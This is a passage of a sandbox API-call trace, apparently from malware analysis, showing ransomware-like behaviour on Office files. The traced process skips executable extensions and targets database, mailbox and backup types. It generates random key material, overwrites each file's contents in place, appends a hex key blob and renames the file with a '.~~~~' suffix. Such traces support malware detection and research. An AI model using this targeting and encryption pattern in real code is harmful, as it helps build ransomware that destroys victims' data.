	[0144.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".msp") returned 0x0
	[0144.686] lstrlenW (lpString=".pif") returned 4
	[0144.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".pif") returned 0x0
	[0144.686] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0144.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.689] lstrlenW (lpString=".sqb") returned 4
	[0144.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".sqb") returned 0x0
	[0144.689] lstrlenW (lpString=".ost") returned 4
	[0144.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".ost") returned 0x0
	[0144.689] lstrlenW (lpString=".txt") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".txt") returned 0x0
	[0144.690] lstrlenW (lpString=".mdt") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".mdt") returned 0x0
	[0144.690] lstrlenW (lpString=".BDB") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".BDB") returned 0x0
	[0144.690] lstrlenW (lpString=".eql") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".eql") returned 0x0
	[0144.690] lstrlenW (lpString=".DBF") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DBF") returned 0x0
	[0144.690] lstrlenW (lpString=".EQL") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".EQL") returned 0x0
	[0144.690] lstrlenW (lpString=".FDB") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".FDB") returned 0x0
	[0144.690] lstrlenW (lpString=".EDB") returned 4
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".EDB") returned 0x0
	[0144.690] lstrlenW (lpString=".DACPAC") returned 7
	[0144.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DACPAC") returned 0x0
	[0144.690] lstrlenW (lpString=".VHD") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".VHD") returned 0x0
	[0144.691] lstrlenW (lpString=".DBV") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DBV") returned 0x0
	[0144.691] lstrlenW (lpString=".dacpac") returned 7
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dacpac") returned 0x0
	[0144.691] lstrlenW (lpString=".sdf") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".sdf") returned 0x0
	[0144.691] lstrlenW (lpString=".accdb") returned 6
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".accdb") returned 0x0
	[0144.691] lstrlenW (lpString=".DBX") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DBX") returned 0x0
	[0144.691] lstrlenW (lpString=".MDT") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".MDT") returned 0x0
	[0144.691] lstrlenW (lpString=".SQB") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".SQB") returned 0x0
	[0144.691] lstrlenW (lpString=".vhd") returned 4
	[0144.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".vhd") returned 0x0
	[0144.692] lstrlenW (lpString=".bac") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".bac") returned 0x0
	[0144.692] lstrlenW (lpString=".mdf") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".mdf") returned 0x0
	[0144.692] lstrlenW (lpString=".BAK") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".BAK") returned 0x0
	[0144.692] lstrlenW (lpString=".BAC") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".BAC") returned 0x0
	[0144.692] lstrlenW (lpString=".dbs") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dbs") returned 0x0
	[0144.692] lstrlenW (lpString=".vhdx") returned 5
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".vhdx") returned 0x0
	[0144.692] lstrlenW (lpString=".NDF") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".NDF") returned 0x0
	[0144.692] lstrlenW (lpString=".dat") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dat") returned 0x0
	[0144.692] lstrlenW (lpString=".DBS") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DBS") returned 0x0
	[0144.692] lstrlenW (lpString=".CKP") returned 4
	[0144.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".CKP") returned 0x0
	[0144.692] lstrlenW (lpString=".edb") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".edb") returned 0x0
	[0144.693] lstrlenW (lpString=".PST") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".PST") returned 0x0
	[0144.693] lstrlenW (lpString=".dbf") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dbf") returned 0x0
	[0144.693] lstrlenW (lpString=".SQL") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".SQL") returned 0x0
	[0144.693] lstrlenW (lpString=".pst") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".pst") returned 0x0
	[0144.693] lstrlenW (lpString=".dbv") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dbv") returned 0x0
	[0144.693] lstrlenW (lpString=".SDF") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".SDF") returned 0x0
	[0144.693] lstrlenW (lpString=".dtxs") returned 5
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dtxs") returned 0x0
	[0144.693] lstrlenW (lpString=".db3") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".db3") returned 0x0
	[0144.693] lstrlenW (lpString=".OST") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".OST") returned 0x0
	[0144.693] lstrlenW (lpString=".dbx") returned 4
	[0144.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dbx") returned 0x0
	[0144.693] lstrlenW (lpString=".DB3") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DB3") returned 0x0
	[0144.694] lstrlenW (lpString=".DAT") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DAT") returned 0x0
	[0144.694] lstrlenW (lpString=".VHDX") returned 5
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".VHDX") returned 0x0
	[0144.694] lstrlenW (lpString=".ndf") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".ndf") returned 0x0
	[0144.694] lstrlenW (lpString=".DB") returned 3
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DB") returned 0x0
	[0144.694] lstrlenW (lpString=".sql") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".sql") returned 0x0
	[0144.694] lstrlenW (lpString=".MYD") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".MYD") returned 0x0
	[0144.694] lstrlenW (lpString=".DBT") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DBT") returned 0x0
	[0144.694] lstrlenW (lpString=".ACCDB") returned 6
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".ACCDB") returned 0x0
	[0144.694] lstrlenW (lpString=".fdb") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".fdb") returned 0x0
	[0144.694] lstrlenW (lpString=".bak") returned 4
	[0144.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".bak") returned 0x0
	[0144.695] lstrlenW (lpString=".myd") returned 4
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".myd") returned 0x0
	[0144.695] lstrlenW (lpString=".DTXS") returned 5
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".DTXS") returned 0x0
	[0144.695] lstrlenW (lpString=".ckp") returned 4
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".ckp") returned 0x0
	[0144.695] lstrlenW (lpString=".dbt") returned 4
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".dbt") returned 0x0
	[0144.695] lstrlenW (lpString=".db") returned 3
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".db") returned 0x0
	[0144.695] lstrlenW (lpString=".TXT") returned 4
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".TXT") returned 0x0
	[0144.695] lstrlenW (lpString=".MDF") returned 4
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".MDF") returned 0x0
	[0144.695] lstrlenW (lpString=".bdb") returned 4
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".bdb") returned 0x0
	[0144.695] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.696] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395b80) returned 1
	[0144.697] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.697] CryptReleaseContext (hProv=0x395b80, dwFlags=0x0) returned 1
	[0144.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.698] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26468790217) returned 1
	[0144.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfa5cc10, dwHighDateTime=0x1d60e1e)) 
	[0144.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fd68
	[0144.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fd68 | out: hHeap=0x300000) returned 1
	[0144.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.700] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.700] GetLastError () returned 0x0
	[0144.701] GetLastError () returned 0x0
	[0144.701] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.701] GetLastError () returned 0x0
	[0144.701] GetLastError () returned 0x0
	[0144.701] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x74c, lpOverlapped=0x0) returned 1
	[0144.704] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff8b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.704] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x74c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x74c, lpOverlapped=0x0) returned 1
	[0144.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.705] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.705] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.705] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.705] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.705] CloseHandle (hObject=0x138) returned 1
	[0144.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cf08
	[0144.705] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.~~~~")) returned 1
	[0144.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cf08 | out: hHeap=0x300000) returned 1
	[0144.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.708] GetLastError () returned 0x0
	[0144.709] RtlWakeConditionVariable () returned 0x365f70
	[0144.709] GetCurrentThreadId () returned 0x9f4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".scr") returned 0x0
	[0144.709] lstrlenW (lpString=".cmd") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".cmd") returned 0x0
	[0144.709] lstrlenW (lpString=".dll") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dll") returned 0x0
	[0144.709] lstrlenW (lpString=".bat") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".bat") returned 0x0
	[0144.709] lstrlenW (lpString=".cpl") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".cpl") returned 0x0
	[0144.709] lstrlenW (lpString=".sys") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".sys") returned 0x0
	[0144.709] lstrlenW (lpString=".msc") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".msc") returned 0x0
	[0144.709] lstrlenW (lpString=".com") returned 4
	[0144.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".com") returned 0x0
	[0144.709] lstrlenW (lpString=".lnk") returned 4
	[0144.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".lnk") returned 0x0
	[0144.710] lstrlenW (lpString=".msp") returned 4
	[0144.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".msp") returned 0x0
	[0144.710] lstrlenW (lpString=".pif") returned 4
	[0144.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".pif") returned 0x0
	[0144.710] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.717] lstrlenW (lpString=".sqb") returned 4
	[0144.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".sqb") returned 0x0
	[0144.718] lstrlenW (lpString=".ost") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".ost") returned 0x0
	[0144.718] lstrlenW (lpString=".txt") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".txt") returned 0x0
	[0144.718] lstrlenW (lpString=".mdt") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".mdt") returned 0x0
	[0144.718] lstrlenW (lpString=".BDB") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".BDB") returned 0x0
	[0144.718] lstrlenW (lpString=".eql") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".eql") returned 0x0
	[0144.718] lstrlenW (lpString=".DBF") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DBF") returned 0x0
	[0144.718] lstrlenW (lpString=".EQL") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".EQL") returned 0x0
	[0144.718] lstrlenW (lpString=".FDB") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".FDB") returned 0x0
	[0144.718] lstrlenW (lpString=".EDB") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".EDB") returned 0x0
	[0144.718] lstrlenW (lpString=".DACPAC") returned 7
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DACPAC") returned 0x0
	[0144.718] lstrlenW (lpString=".VHD") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".VHD") returned 0x0
	[0144.718] lstrlenW (lpString=".DBV") returned 4
	[0144.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DBV") returned 0x0
	[0144.718] lstrlenW (lpString=".dacpac") returned 7
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dacpac") returned 0x0
	[0144.719] lstrlenW (lpString=".sdf") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".sdf") returned 0x0
	[0144.719] lstrlenW (lpString=".accdb") returned 6
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".accdb") returned 0x0
	[0144.719] lstrlenW (lpString=".DBX") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DBX") returned 0x0
	[0144.719] lstrlenW (lpString=".MDT") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".MDT") returned 0x0
	[0144.719] lstrlenW (lpString=".SQB") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".SQB") returned 0x0
	[0144.719] lstrlenW (lpString=".vhd") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".vhd") returned 0x0
	[0144.719] lstrlenW (lpString=".bac") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".bac") returned 0x0
	[0144.719] lstrlenW (lpString=".mdf") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".mdf") returned 0x0
	[0144.719] lstrlenW (lpString=".BAK") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".BAK") returned 0x0
	[0144.719] lstrlenW (lpString=".BAC") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".BAC") returned 0x0
	[0144.719] lstrlenW (lpString=".dbs") returned 4
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dbs") returned 0x0
	[0144.719] lstrlenW (lpString=".vhdx") returned 5
	[0144.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".vhdx") returned 0x0
	[0144.720] lstrlenW (lpString=".NDF") returned 4
